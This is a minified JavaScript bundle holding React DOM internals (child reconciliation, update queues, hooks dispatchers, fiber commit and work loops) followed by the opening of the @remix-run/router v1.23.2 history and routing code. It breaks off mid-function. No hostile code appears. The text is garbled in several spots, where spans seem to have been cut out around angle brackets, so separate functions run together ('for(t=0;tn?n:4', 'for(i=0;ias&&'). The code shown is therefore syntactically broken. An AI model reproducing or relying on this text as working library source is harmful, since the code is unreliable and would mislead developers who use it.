Ke&&$i(v,S),N}for(k=r(v,k);!_.done;S++,_=w.next())_=h(k,v,S,_.value,j),_!==null&&(e&&_.alternate!==null&&k.delete(_.key===null?S:_.key),b=s(_,b,S),z===null?N=_:z.sibling=_,z=_);return e&&k.forEach(function(P){return t(v,P)}),Ke&&$i(v,S),N}function y(v,b,w,j){if(typeof w=="object"&&w!==null&&w.type===_a&&w.key===null&&(w=w.props.children),typeof w=="object"&&w!==null){switch(w.$$typeof){case kl:e:{for(var N=w.key,z=b;z!==null;){if(z.key===N){if(N=w.type,N===_a){if(z.tag===7){n(v,z.sibling),b=i(z,w.props.children),b.return=v,v=b;break e}}else if(z.elementType===N||typeof N=="object"&&N!==null&&N.$$typeof===ti&&pg(N)===z.type){n(v,z.sibling),b=i(z,w.props),b.ref=Is(v,z,w),b.return=v,v=b;break e}n(v,z);break}else t(v,z);z=z.sibling}w.type===_a?(b=Qi(w.props.children,v.mode,j,w.key),b.return=v,v=b):(j=yc(w.type,w.key,w.props,null,v.mode,j),j.ref=Is(v,b,w),j.return=v,v=j)}return o(v);case Ea:e:{for(z=w.key;b!==null;){if(b.key===z)if(b.tag===4&&b.stateNode.containerInfo===w.containerInfo&&b.stateNode.implementation===w.implementation){n(v,b.sibling),b=i(b,w.children||[]),b.return=v,v=b;break e}else{n(v,b);break}else t(v,b);b=b.sibling}b=Jf(w,v.mode,j),b.return=v,v=b}return o(v);case ti:return z=w._init,y(v,b,z(w._payload),j)}if(Qs(w))return x(v,b,w,j);if(As(w))return g(v,b,w,j);Ll(v,w)}return typeof w=="string"&&w!==""||typeof w=="number"?(w=""+w,b!==null&&b.tag===6?(n(v,b.sibling),b=i(b,w),b.return=v,v=b):(n(v,b),b=Qf(w,v.mode,j),b.return=v,v=b),o(v)):n(v,b)}return y}var ns=fj(!0),mj=fj(!1),Bc=Ei(null),Fc=null,Ra=null,Zh=null;function Qh(){Zh=Ra=Fc=null}function Jh(e){var t=Bc.current;Ue(Bc),e._currentValue=t}function up(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function qa(e,t){Fc=e,Zh=Ra=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(qt=!0),e.firstContext=null)}function _n(e){var t=e._currentValue;if(Zh!==e)if(e={context:e,memoizedValue:t,next:null},Ra===null){if(Fc===null)throw Error(ee(308));Ra=e,Fc.dependencies={lanes:0,firstContext:e}}else Ra=Ra.next=e;return t}var Ki=null;function ex(e){Ki===null?Ki=[e]:Ki.push(e)}function pj(e,t,n,r){var i=t.interleaved;return i===null?(n.next=n,ex(t)):(n.next=i.next,i.next=n),t.interleaved=n,Or(e,r)}function Or(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var ni=!1;function tx(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function hj(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function Pr(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function hi(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,Pe&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,Or(e,n)}return i=r.interleaved,i===null?(t.next=t,ex(r)):(t.next=i.next,i.next=t),r.interleaved=t,Or(e,n)}function mc(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Bh(e,n)}}function hg(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,s=null;if(n=n.firstBaseUpdate,n!==null){do{var o={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};s===null?i=s=o:s=s.next=o,n=n.next}while(n!==null);s===null?i=s=t:s=s.next=t}else i=s=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:s,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function Wc(e,t,n,r){var i=e.updateQueue;ni=!1;var s=i.firstBaseUpdate,o=i.lastBaseUpdate,l=i.shared.pending;if(l!==null){i.shared.pending=null;var c=l,u=c.next;c.next=null,o===null?s=u:o.next=u,o=c;var d=e.alternate;d!==null&&(d=d.updateQueue,l=d.lastBaseUpdate,l!==o&&(l===null?d.firstBaseUpdate=u:l.next=u,d.lastBaseUpdate=c))}if(s!==null){var f=i.baseState;o=0,d=u=c=null,l=s;do{var p=l.lane,h=l.eventTime;if((r&p)===p){d!==null&&(d=d.next={eventTime:h,lane:0,tag:l.tag,payload:l.payload,callback:l.callback,next:null});e:{var x=e,g=l;switch(p=t,h=n,g.tag){case 1:if(x=g.payload,typeof x=="function"){f=x.call(h,f,p);break e}f=x;break e;case 3:x.flags=x.flags&-65537|128;case 0:if(x=g.payload,p=typeof x=="function"?x.call(h,f,p):x,p==null)break e;f=Ze({},f,p);break e;case 2:ni=!0}}l.callback!==null&&l.lane!==0&&(e.flags|=64,p=i.effects,p===null?i.effects=[l]:p.push(l))}else h={eventTime:h,lane:p,tag:l.tag,payload:l.payload,callback:l.callback,next:null},d===null?(u=d=h,c=f):d=d.next=h,o|=p;if(l=l.next,l===null){if(l=i.shared.pending,l===null)break;p=l,l=p.next,p.next=null,i.lastBaseUpdate=p,i.shared.pending=null}}while(!0);if(d===null&&(c=f),i.baseState=c,i.firstBaseUpdate=u,i.lastBaseUpdate=d,t=i.shared.interleaved,t!==null){i=t;do o|=i.lane,i=i.next;while(i!==t)}else s===null&&(i.shared.lanes=0);sa|=o,e.lanes=o,e.memoizedState=f}}function xg(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;tn?n:4,e(!0);var r=Yf.transition;Yf.transition={};try{e(!1),t()}finally{Le=n,Yf.transition=r}}function Oj(){return An().memoizedState}function oP(e,t,n){var r=vi(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},Tj(e))Mj(t,n);else if(n=pj(e,t,n,r),n!==null){var i=Wt();Yn(n,e,r,i),Lj(n,t,r)}}function lP(e,t,n){var r=vi(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(Tj(e))Mj(t,i);else{var s=e.alternate;if(e.lanes===0&&(s===null||s.lanes===0)&&(s=t.lastRenderedReducer,s!==null))try{var o=t.lastRenderedState,l=s(o,n);if(i.hasEagerState=!0,i.eagerState=l,Gn(l,o)){var c=t.interleaved;c===null?(i.next=i,ex(t)):(i.next=c.next,c.next=i),t.interleaved=i;return}}catch{}finally{}n=pj(e,t,i,r),n!==null&&(i=Wt(),Yn(n,e,r,i),Lj(n,t,r))}}function Tj(e){var t=e.alternate;return e===Ge||t!==null&&t===Ge}function Mj(e,t){co=Vc=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function Lj(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Bh(e,n)}}var Hc={readContext:_n,useCallback:It,useContext:It,useEffect:It,useImperativeHandle:It,useInsertionEffect:It,useLayoutEffect:It,useMemo:It,useReducer:It,useRef:It,useState:It,useDebugValue:It,useDeferredValue:It,useTransition:It,useMutableSource:It,useSyncExternalStore:It,useId:It,unstable_isNewReconciler:!1},cP={readContext:_n,useCallback:function(e,t){return ar().memoizedState=[e,t===void 0?null:t],e},useContext:_n,useEffect:gg,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,hc(4194308,4,Cj.bind(null,t,e),n)},useLayoutEffect:function(e,t){return hc(4194308,4,e,t)},useInsertionEffect:function(e,t){return hc(4,2,e,t)},useMemo:function(e,t){var n=ar();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=ar();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=oP.bind(null,Ge,e),[r.memoizedState,e]},useRef:function(e){var t=ar();return e={current:e},t.memoizedState=e},useState:vg,useDebugValue:cx,useDeferredValue:function(e){return ar().memoizedState=e},useTransition:function(){var e=vg(!1),t=e[0];return e=sP.bind(null,e[1]),ar().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=Ge,i=ar();if(Ke){if(n===void 0)throw Error(ee(407));n=n()}else{if(n=t(),Nt===null)throw Error(ee(349));aa&30||yj(r,t,n)}i.memoizedState=n;var s={value:n,getSnapshot:t};return i.queue=s,gg(wj.bind(null,r,s,e),[e]),r.flags|=2048,Eo(9,bj.bind(null,r,s,n,t),void 0,null),n},useId:function(){var e=ar(),t=Nt.identifierPrefix;if(Ke){var n=zr,r=kr;n=(r&~(1<<32-Kn(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=Co++,0<\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=o.createElement(n,{is:r.is}):(e=o.createElement(n),n==="select"&&(o=e,r.multiple?o.multiple=!0:r.size&&(o.size=r.size))):e=o.createElementNS(e,n),e[sr]=t,e[ko]=r,Hj(e,t,!1,!1),t.stateNode=e;e:{switch(o=Km(n,r),n){case"dialog":Fe("cancel",e),Fe("close",e),i=r;break;case"iframe":case"object":case"embed":Fe("load",e),i=r;break;case"video":case"audio":for(i=0;ias&&(t.flags|=128,r=!0,Ds(s,!1),t.lanes=4194304)}else{if(!r)if(e=Uc(o),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),Ds(s,!0),s.tail===null&&s.tailMode==="hidden"&&!o.alternate&&!Ke)return Dt(t),null}else 2*at()-s.renderingStartTime>as&&n!==1073741824&&(t.flags|=128,r=!0,Ds(s,!1),t.lanes=4194304);s.isBackwards?(o.sibling=t.child,t.child=o):(n=s.last,n!==null?n.sibling=o:t.child=o,s.last=o)}return s.tail!==null?(t=s.tail,s.rendering=t,s.tail=t.sibling,s.renderingStartTime=at(),t.sibling=null,n=qe.current,Be(qe,r?n&1|2:n&1),t):(Dt(t),null);case 22:case 23:return hx(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?on&1073741824&&(Dt(t),t.subtreeFlags&6&&(t.flags|=8192)):Dt(t),null;case 24:return null;case 25:return null}throw Error(ee(156,t.tag))}function vP(e,t){switch(Gh(t),t.tag){case 1:return Jt(t.type)&&Ic(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return rs(),Ue(Qt),Ue($t),ix(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return rx(t),null;case 13:if(Ue(qe),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(ee(340));ts()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return Ue(qe),null;case 4:return rs(),null;case 10:return Jh(t.type._context),null;case 22:case 23:return hx(),null;case 24:return null;default:return null}}var Dl=!1,Rt=!1,gP=typeof WeakSet=="function"?WeakSet:Set,me=null;function $a(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){nt(e,t,r)}else n.current=null}function yp(e,t,n){try{n()}catch(r){nt(e,t,r)}}var Eg=!1;function yP(e,t){if(np=Oc,e=Qw(),Yh(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var i=r.anchorOffset,s=r.focusNode;r=r.focusOffset;try{n.nodeType,s.nodeType}catch{n=null;break e}var o=0,l=-1,c=-1,u=0,d=0,f=e,p=null;t:for(;;){for(var h;f!==n||i!==0&&f.nodeType!==3||(l=o+i),f!==s||r!==0&&f.nodeType!==3||(c=o+r),f.nodeType===3&&(o+=f.nodeValue.length),(h=f.firstChild)!==null;)p=f,f=h;for(;;){if(f===e)break t;if(p===n&&++u===i&&(l=o),p===s&&++d===r&&(c=o),(h=f.nextSibling)!==null)break;f=p,p=f.parentNode}f=h}n=l===-1||c===-1?null:{start:l,end:c}}else n=null}n=n||{start:0,end:0}}else n=null;for(rp={focusedElem:e,selectionRange:n},Oc=!1,me=t;me!==null;)if(t=me,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,me=e;else for(;me!==null;){t=me;try{var x=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(x!==null){var g=x.memoizedProps,y=x.memoizedState,v=t.stateNode,b=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:Bn(t.type,g),y);v.__reactInternalSnapshotBeforeUpdate=b}break;case 3:var w=t.stateNode.containerInfo;w.nodeType===1?w.textContent="":w.nodeType===9&&w.documentElement&&w.removeChild(w.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(ee(163))}}catch(j){nt(t,t.return,j)}if(e=t.sibling,e!==null){e.return=t.return,me=e;break}me=t.return}return x=Eg,Eg=!1,x}function uo(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var i=r=r.next;do{if((i.tag&e)===e){var s=i.destroy;i.destroy=void 0,s!==void 0&&yp(t,n,s)}i=i.next}while(i!==r)}}function nd(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function bp(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function qj(e){var t=e.alternate;t!==null&&(e.alternate=null,qj(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[sr],delete t[ko],delete t[sp],delete t[tP],delete t[nP])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function Gj(e){return e.tag===5||e.tag===3||e.tag===4}function _g(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||Gj(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function wp(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=Lc));else if(r!==4&&(e=e.child,e!==null))for(wp(e,t,n),e=e.sibling;e!==null;)wp(e,t,n),e=e.sibling}function jp(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(jp(e,t,n),e=e.sibling;e!==null;)jp(e,t,n),e=e.sibling}var Et=null,Fn=!1;function ei(e,t,n){for(n=n.child;n!==null;)Xj(e,t,n),n=n.sibling}function Xj(e,t,n){if(ur&&typeof ur.onCommitFiberUnmount=="function")try{ur.onCommitFiberUnmount(qu,n)}catch{}switch(n.tag){case 5:Rt||$a(n,t);case 6:var r=Et,i=Fn;Et=null,ei(e,t,n),Et=r,Fn=i,Et!==null&&(Fn?(e=Et,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):Et.removeChild(n.stateNode));break;case 18:Et!==null&&(Fn?(e=Et,n=n.stateNode,e.nodeType===8?Vf(e.parentNode,n):e.nodeType===1&&Vf(e,n),yo(e)):Vf(Et,n.stateNode));break;case 4:r=Et,i=Fn,Et=n.stateNode.containerInfo,Fn=!0,ei(e,t,n),Et=r,Fn=i;break;case 0:case 11:case 14:case 15:if(!Rt&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){i=r=r.next;do{var s=i,o=s.destroy;s=s.tag,o!==void 0&&(s&2||s&4)&&yp(n,t,o),i=i.next}while(i!==r)}ei(e,t,n);break;case 1:if(!Rt&&($a(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(l){nt(n,t,l)}ei(e,t,n);break;case 21:ei(e,t,n);break;case 22:n.mode&1?(Rt=(r=Rt)||n.memoizedState!==null,ei(e,t,n),Rt=r):ei(e,t,n);break;default:ei(e,t,n)}}function Ag(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new gP),t.forEach(function(r){var i=PP.bind(null,e,r);n.has(r)||(n.add(r),r.then(i,i))})}}function In(e,t){var n=t.deletions;if(n!==null)for(var r=0;ri&&(i=o),r&=~s}if(r=i,r=at()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*wP(r/1960))-r,10e?16:e,li===null)var r=!1;else{if(e=li,li=null,qc=0,Pe&6)throw Error(ee(331));var i=Pe;for(Pe|=4,me=e.current;me!==null;){var s=me,o=s.child;if(me.flags&16){var l=s.deletions;if(l!==null){for(var c=0;cat()-mx?Zi(e,0):fx|=n),en(e,t)}function i5(e,t){t===0&&(e.mode&1?(t=Pl,Pl<<=1,!(Pl&130023424)&&(Pl=4194304)):t=1);var n=Wt();e=Or(e,t),e!==null&&(Jo(e,t,n),en(e,n))}function CP(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),i5(e,n)}function PP(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,i=e.memoizedState;i!==null&&(n=i.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(ee(314))}r!==null&&r.delete(t),i5(e,n)}var a5;a5=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||Qt.current)qt=!0;else{if(!(e.lanes&n)&&!(t.flags&128))return qt=!1,hP(e,t,n);qt=!!(e.flags&131072)}else qt=!1,Ke&&t.flags&1048576&&cj(t,$c,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;xc(e,t),e=t.pendingProps;var i=es(t,$t.current);qa(t,n),i=sx(null,t,r,e,i,n);var s=ox();return t.flags|=1,typeof i=="object"&&i!==null&&typeof i.render=="function"&&i.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,Jt(r)?(s=!0,Dc(t)):s=!1,t.memoizedState=i.state!==null&&i.state!==void 0?i.state:null,tx(t),i.updater=td,t.stateNode=i,i._reactInternals=t,fp(t,r,e,n),t=hp(null,t,r,!0,s,n)):(t.tag=0,Ke&&s&&qh(t),Bt(null,t,i,n),t=t.child),t;case 16:r=t.elementType;e:{switch(xc(e,t),e=t.pendingProps,i=r._init,r=i(r._payload),t.type=r,i=t.tag=_P(r),e=Bn(r,e),i){case 0:t=pp(null,t,r,e,n);break e;case 1:t=Sg(null,t,r,e,n);break e;case 11:t=kg(null,t,r,e,n);break e;case 14:t=zg(null,t,r,Bn(r.type,e),n);break e}throw Error(ee(306,r,""))}return t;case 0:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),pp(e,t,r,i,n);case 1:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),Sg(e,t,r,i,n);case 3:e:{if(Wj(t),e===null)throw Error(ee(387));r=t.pendingProps,s=t.memoizedState,i=s.element,hj(e,t),Wc(t,r,null,n);var o=t.memoizedState;if(r=o.element,s.isDehydrated)if(s={element:r,isDehydrated:!1,cache:o.cache,pendingSuspenseBoundaries:o.pendingSuspenseBoundaries,transitions:o.transitions},t.updateQueue.baseState=s,t.memoizedState=s,t.flags&256){i=is(Error(ee(423)),t),t=Cg(e,t,r,n,i);break e}else if(r!==i){i=is(Error(ee(424)),t),t=Cg(e,t,r,n,i);break e}else for(cn=pi(t.stateNode.containerInfo.firstChild),dn=t,Ke=!0,Wn=null,n=mj(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(ts(),r===i){t=Tr(e,t,n);break e}Bt(e,t,r,n)}t=t.child}return t;case 5:return xj(t),e===null&&cp(t),r=t.type,i=t.pendingProps,s=e!==null?e.memoizedProps:null,o=i.children,ip(r,i)?o=null:s!==null&&ip(r,s)&&(t.flags|=32),Fj(e,t),Bt(e,t,o,n),t.child;case 6:return e===null&&cp(t),null;case 13:return Uj(e,t,n);case 4:return nx(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=ns(t,null,r,n):Bt(e,t,r,n),t.child;case 11:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),kg(e,t,r,i,n);case 7:return Bt(e,t,t.pendingProps,n),t.child;case 8:return Bt(e,t,t.pendingProps.children,n),t.child;case 12:return Bt(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,i=t.pendingProps,s=t.memoizedProps,o=i.value,Be(Bc,r._currentValue),r._currentValue=o,s!==null)if(Gn(s.value,o)){if(s.children===i.children&&!Qt.current){t=Tr(e,t,n);break e}}else for(s=t.child,s!==null&&(s.return=t);s!==null;){var l=s.dependencies;if(l!==null){o=s.child;for(var c=l.firstContext;c!==null;){if(c.context===r){if(s.tag===1){c=Pr(-1,n&-n),c.tag=2;var u=s.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?c.next=c:(c.next=d.next,d.next=c),u.pending=c}}s.lanes|=n,c=s.alternate,c!==null&&(c.lanes|=n),up(s.return,n,t),l.lanes|=n;break}c=c.next}}else if(s.tag===10)o=s.type===t.type?null:s.child;else if(s.tag===18){if(o=s.return,o===null)throw Error(ee(341));o.lanes|=n,l=o.alternate,l!==null&&(l.lanes|=n),up(o,n,t),o=s.sibling}else o=s.child;if(o!==null)o.return=s;else for(o=s;o!==null;){if(o===t){o=null;break}if(s=o.sibling,s!==null){s.return=o.return,o=s;break}o=o.return}s=o}Bt(e,t,i.children,n),t=t.child}return t;case 9:return i=t.type,r=t.pendingProps.children,qa(t,n),i=_n(i),r=r(i),t.flags|=1,Bt(e,t,r,n),t.child;case 14:return r=t.type,i=Bn(r,t.pendingProps),i=Bn(r.type,i),zg(e,t,r,i,n);case 15:return $j(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),xc(e,t),t.tag=1,Jt(r)?(e=!0,Dc(t)):e=!1,qa(t,n),Ij(t,r,i),fp(t,r,i,n),hp(null,t,r,!0,e,n);case 19:return Vj(e,t,n);case 22:return Bj(e,t,n)}throw Error(ee(156,t.tag))};function s5(e,t){return Tw(e,t)}function EP(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Cn(e,t,n,r){return new EP(e,t,n,r)}function vx(e){return e=e.prototype,!(!e||!e.isReactComponent)}function _P(e){if(typeof e=="function")return vx(e)?1:0;if(e!=null){if(e=e.$$typeof,e===Ih)return 11;if(e===Dh)return 14}return 2}function gi(e,t){var n=e.alternate;return n===null?(n=Cn(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function yc(e,t,n,r,i,s){var o=2;if(r=e,typeof e=="function")vx(e)&&(o=1);else if(typeof e=="string")o=5;else e:switch(e){case _a:return Qi(n.children,i,s,t);case Lh:o=8,i|=8;break;case Im:return e=Cn(12,n,t,i|2),e.elementType=Im,e.lanes=s,e;case Dm:return e=Cn(13,n,t,i),e.elementType=Dm,e.lanes=s,e;case Rm:return e=Cn(19,n,t,i),e.elementType=Rm,e.lanes=s,e;case xw:return id(n,i,s,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case pw:o=10;break e;case hw:o=9;break e;case Ih:o=11;break e;case Dh:o=14;break e;case ti:o=16,r=null;break e}throw Error(ee(130,e==null?e:typeof e,""))}return t=Cn(o,n,t,i),t.elementType=e,t.type=r,t.lanes=s,t}function Qi(e,t,n,r){return e=Cn(7,e,r,t),e.lanes=n,e}function id(e,t,n,r){return e=Cn(22,e,r,t),e.elementType=xw,e.lanes=n,e.stateNode={isHidden:!1},e}function Qf(e,t,n){return e=Cn(6,e,null,t),e.lanes=n,e}function Jf(e,t,n){return t=Cn(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function AP(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Tf(0),this.expirationTimes=Tf(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Tf(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function gx(e,t,n,r,i,s,o,l,c){return e=new AP(e,t,n,l,c),t===1?(t=1,s===!0&&(t|=8)):t=0,s=Cn(3,null,null,t),e.current=s,s.stateNode=e,s.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},tx(s),e}function OP(e,t,n){var r=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(u5)}catch(e){console.error(e)}}u5(),uw.exports=xn;var jx=uw.exports,$g=jx;Mm.createRoot=$g.createRoot,Mm.hydrateRoot=$g.hydrateRoot;/** + * @remix-run/router v1.23.2 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Ao(){return Ao=Object.assign?Object.assign.bind():function(e){for(var t=1;t"u")throw new Error(t)}function Nx(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function RP(){return Math.random().toString(36).substr(2,8)}function Fg(e,t){return{usr:e.state,key:e.key,idx:t}}function Cp(e,t,n,r){return n===void 0&&(n=null),Ao({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?vs(t):t,{state:n,key:t&&t.key||r||RP()})}function Zc(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function vs(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function $P(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:s=!1}=r,o=i.history,l=ci.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(Ao({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=ci.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function p(y,v){l=ci.Push;let b=Cp(g.location,y,v);u=d()+1;let w=Fg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(N){if(N instanceof DOMException&&N.name==="DataCloneError")throw N;i.location.assign(j)}s&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=ci.Replace;let b=Cp(g.location,y,v);u=d();let w=Fg(b,u),j=g.createHref(b);o.replaceState(w,"",j),s&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Zc(y);return b=b.replace(/ $/,"%20"),Xe(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(Bg,f),c=y,()=>{i.removeEventListener(Bg,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:p,replace:h,go(y){return o.go(y)}};return g}var Wg;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(Wg||(Wg={}));function BP(e,t,n){return n===void 0&&(n="/"),FP(e,t,n)}function FP(e,t,n,r){let i=typeof t=="string"?vs(t):t,s=ss(i.pathname||"/",n);if(s==null)return null;let 